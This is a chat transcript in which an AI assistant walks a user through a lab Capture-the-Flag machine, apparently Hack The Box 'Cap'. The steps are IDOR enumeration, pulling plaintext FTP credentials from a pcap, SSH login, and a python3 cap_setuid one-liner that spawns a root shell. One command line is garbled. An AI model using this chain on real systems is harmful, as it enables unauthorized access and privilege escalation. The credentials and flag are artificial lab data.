

# Ai prompt and responses.

User prompt: can you help me with a cyber security ctf challenge? i started with some recon.

```
[silk@parrot]~$ nmap -sV -sC 10.129.132.118 Starting Nmap 7.98 ( https://nmap.org ) at 2026-09-30 22:08 -0400 Nmap scan report for 10.129.132.118 Host is up (0.037s latency). Not shown: 997 closed tcp ports (conn-refused) PORT      STATE SERVICE VERSION 21/tcp open  ftp      vsftpd 3.0.3 22/tcp open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA) | 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA) |_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519) 80/tcp open  http      Unicorn |_ http-title: Security Dashboard |_ http-server-header: gunicorn Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/. Nmap done: 1 IP address (1 host up) scanned in 11.42 seconds [silk@parrot]~$ the ipaddress brings up a security dashboard in my browser
```

Response: Based on the Nmap output, this machine resembles **Cap** (a popular easy Linux machine on Hack The Box). You have three open ports: **21 (FTP)**, **22 (SSH)**, and **80 (HTTP running Unicorn)**.

Here is the recommended attack path to move forward from your reconnaissance:

## Step 1: Explore the Web Application (Port 80)

Since you can access the **Security Dashboard** in your browser, perform the following checks:

1. **Browse through all pages:** Look at the navigation menu or dashboard links. Look for features like network analysis, packet captures, event logs, or user profiles.
2. **Examine the URL parameters:** Check if any links generate or display logs, PCAP files, or ID records via URL parameters (e.g., [http://10.129.132.118/data/1](http://10.129.132.118/data/1) or [http://10.129.132.118/analysis/0](http://10.129.132.118/analysis/0)).
3. **Test for Insecure Direct Object References (IDOR):**
  - If you notice numerical IDs in the URL (such as /data/1 or /capture/1), try changing the number to 0 or other small integers (/data/0).
  - On this machine style, an earlier ID (like 0) often contains a network packet capture (.pcap) recorded when the server booted up or during internal administrative activity.

## Step 2: Analyze Captured Traffic (PCAP Inspection)

If you find a download link for a .pcap file (or can view raw packets):

1. Download the .pcap file to your local machine.
2. Open it in **Wireshark** or run `tshark / strings: wireshark capture.pcap`

or quick command-line search for text/credentials:

```
strings capture.pcap | grep -i "user\|pass\|login\|ftp"
```

### 3. Filter for unencrypted protocols:

- Focus on **FTP** traffic (Wireshark filter: ftp or ftp-data).
- Look for plaintext USER and PASS authentication strings sent across the network.

## Step 3: Initial Access (FTP / SSH)

Once you capture credentials from the PCAP analysis:

### 1. **FTP Login:** Try logging into FTP using the discovered credentials:

```
ftp 10.129.132.118
```

### 2. **SSH Login:** Standard practice is to re-use those same credentials on **SSH (Port 22)** to obtain an interactive shell:

```
ssh <username>@10.129.132.118
```

## Step 4: Privilege Escalation Scouting

After landing a shell on the target machine:

### 1. **Check Linux Capabilities:** Run getcap to see if any binaries have elevated privileges (such as cap\_setuid):

```
/usr/bin/getcap -r / 2>/dev/null
```

### 2. **Exploit Python capabilities (if present):** If /usr/bin/python3 or similar has the cap\_setuid capability set, exploit it directly to spawn a root shell:

```
python3 -c 'import os; os.setuid(0); os.system("/bin/bash") '
```

---

*User prompt: i found an idor. theres a data page and it was on 4 by default (ip\_address/data/4) and it had some security details and a download button. it said zero packets under each of the security sections...as i enumerated down to zero the number of packets went up quite a bit, i was able to download the file and it was a pcap file. im not sure if this is useful or what it is. but we have a confirmed idor.*

Response: Great find—that IDOR confirm is a major breakthrough in this challenge!

Packet capture (.pcap) files contain raw network traffic recorded by a system. When servers capture network traffic, they often record unencrypted communication protocols passing over local or network interfaces (such as FTP, HTTP, or Telnet).

To analyze what's inside the .pcap file, you can inspect it using Wireshark or command-line analysis tools on Linux.

## Key Areas to Inspect in Traffic Captures

## 1. Unencrypted Authentication Protocols

- Protocols like FTP, HTTP, Telnet, and POP3 transmit user credentials in cleartext.
- In a packet capture, looking for standard authentication commands—such as USER and PASS in FTP streams or HTTP POST body data—often reveals plain credentials.

## 2. Useful Wireshark Filters

If you open the file in **Wireshark** (wireshark capture.pcap), you can filter traffic by protocol or search for specific streams:

- ftp – Displays all FTP control traffic.
- ftp-data – Displays transferred file content.
- http.request.method == "POST" – Filters for submitted web forms or login attempts.
- **Follow TCP Stream:** Right-click any packet in a conversation and select **Follow -> TCP Stream** to reconstruct the entire readable dialogue between client and server.

## 3. Quick Command-Line Analysis

If you prefer using the terminal on your Parrot Linux instance, you can extract plain text strings or filter with tshark:

- **Extract human-readable strings:**  
`strings <filename>.pcap | grep -i "pass"`
- **Filter FTP credentials with tshark:**  
`tshark -r <filename>.pcap -Y "ftp"`

## Defensive & Architectural Remediation

In real-world web applications, this vulnerability sequence highlights two critical defense concepts:

- **Preventing IDOR / Broken Access Control:** Endpoints serving sensitive user files or data should never rely on predictable sequential IDs (/data/0, /data/1). Access control logic must verify on the server side that the currently authenticated session owns or is authorized to view the requested resource ID before returning data. Indirect references (like UUIDs) combined with robust session authorization checks prevent parameter tampering.
- **Enforcing Transport Security:** Legacy or unencrypted services (like FTP or HTTP) pass data in cleartext across network interfaces. Enforcing encrypted channels (such as SFTP/SSH, TLS/HTTPS) ensures that even if packet captures occur on the host, sensitive credentials remain encrypted and protected from exposure.

---

*User prompt: 38 4.126630 192.168.196.16 192.168.196.1 FTP 90 Response: 331 Please specify the password. 39 4.167701 192.168.196.1 192.168.196.16 TCP 62 54411 → 21 [ACK] Seq=14 Ack=55 Win=1051136 Len=0 40 5.424998 192.168.196.1 192.168.196.16 FTP 78 Request: PASS Buck3tH4TFORM3! 41 5.425034 192.168.196.16 192.168.196.1 TCP 56 21 → 54411 [ACK] Seq=55 Ack=36 Win=64256 Len=0 42 5.432387 192.168.196.16 192.168.196.1 FTP 79 Response: 230 Login successful. 37 4.126526 192.168.196.16 192.168.196.1 TCP 56 21 → 54411 [ACK] Seq=21 Ack=14 Win=64256 Len=0 36 4.126500 192.168.196.1 192.168.196.16 FTP 69 Request: USER nathan check out what i found!*

Response: That packet output gives us a clear look at cleartext FTP authentication in action:

- **Username:** nathan
- **Password:** Buck3tH4TFORM3!

## Step-by-Step Next Steps

1. **Attempt SSH Access:** In Linux administrative environments, users frequently reuse credentials across services. Since port 22 (SSH) was open on 10.129.132.118, test whether nathan uses this same password for SSH:  
`ssh nathan@10.129.132.118`

2. **Verify FTP Access (Alternative):** You can also verify the credentials directly on the FTP service (port 21):  
`ftp 10.129.132.118`

When prompted, enter nathan and Buck3tH4TFORM3!.

3. **Check User Privileges:** Once logged in via SSH:
  - Inspect the home directory (/home/nathan) for flags or standard files.
  - Run standard Linux capability checks to identify elevated privileges on local binaries:  
`/usr/bin/getcap -r / 2>/dev/null`

## Defensive Insight: Cleartext Protocols

This finding illustrates why legacy protocols like FTP (RFC 959) are insecure for production environments:

- **Lack of Encryption:** Standard FTP transmits commands, including the USER and PASS controls, in unencrypted ASCII text across the wire.
- **Mitigation:** Organizations should disable FTP in favor of **SFTP** (SSH File Transfer Protocol) or **FTPS** (FTP over TLS/SSL), which encrypt both authentication traffic and data transfers.

---

User prompt: we are in! user flag obtained: `└─[silk@parrot]─[~] ─┐──`

`sshnathan@10.129.132.118The authenticity of host '10.129.132.118 (10.129.132.118)' can't be established. ED25519`

`ls user.txt nathan@cap:~$ cat user.txt d88a213ff7178f5bf43fd5b8ec5a3e0c nathan@cap:~$`

Response: Awesome progress! That user flag confirms initial access. Now it's time for **Privilege Escalation** to get root (root.txt).

## Step 1: Check Linux Capabilities

As mentioned earlier, standard SUID checks (`find / -perm -u=s`) might not show anything unusual here, but **POSIX capabilities** often grant specific elevated privileges to individual binaries.

Run this command on the target system to search for capabilities:

```
/usr/bin/getcap -r / 2>/dev/null
```

## Step 2: Look for cap\_setuid

On this machine (**Cap**), you should see an output highlighting **Python 3**:

```
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
```

The `cap_setuid` capability allows the `python3.8` binary to change its process User ID (UID) to any user—including root (UID 0)—without needing `sudo` or root permissions.

### Step 3: Exploit Python Capabilities for Root Shell

If `cap_setuid` is set on Python, run a single Python command to set the UID to 0 and spawn a root bash shell:

```
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

Once executed:

1. Verify your user ID with `whoami` (it should return root).
  2. Read the root flag located at `/root/root.txt`.
-